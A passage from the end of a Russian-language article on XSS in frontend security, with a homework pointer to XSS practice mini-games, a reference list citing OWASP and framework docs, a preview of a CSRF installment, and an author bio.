Механизмы шаблонов, которые уже поддерживают автоматическое экранирование с учетом контекста:
Домашнее задание: Мини-игра XSS Attack
Ниже приведены несколько мини-игр XSS-атак, разработчики намеренно оставили на веб-сайте некоторые распространенные XSS-уязвимости. Игроки вводят соответствующие данные на веб-странице и завершают XSS-атаку, чтобы пройти уровень.
В процессе игры читателям предлагается тщательно подумать и просмотреть содержание этой статьи, чтобы углубить свое понимание XSS-атак.
alert(1) to win prompt(1) to win XSS game
использованная литература
- Wikipedia. Cross-site scripting, Wikipedia.
- OWASP. XSS (Cross Site Scripting) Prevention Cheat Sheet, OWASP.
- OWASP. Use the OWASP Java Encoder-Use-the-OWASP-Java-Encoder), GitHub.
- Ahmed Elsobky. Unleashing an Ultimate XSS Polyglot, GitHub.
- Jad S. Boutros. Reducing XSS by way of Automatic Context-Aware Escaping in Template Systems, Google Security Blog.
- Vue.js. v-html - Vue API docs, Vue.js.
- React. dangerouslySetInnerHTML - DOM Elements, React.
следующее уведомление
В серии статей о внешней безопасности будут обсуждаться такие вопросы безопасности, как XSS, CSRF, взлом сети и гибридная безопасность. В следующем выпуске мы обсудим CSRF-атаки, так что следите за обновлениями.
об авторе
Ли Ян, главный инженер Meituan-Dianping. В 2016 году он присоединился к Meituan Dianping и отвечал за оптимизацию производительности страниц Meituan Takeaway Hybrid.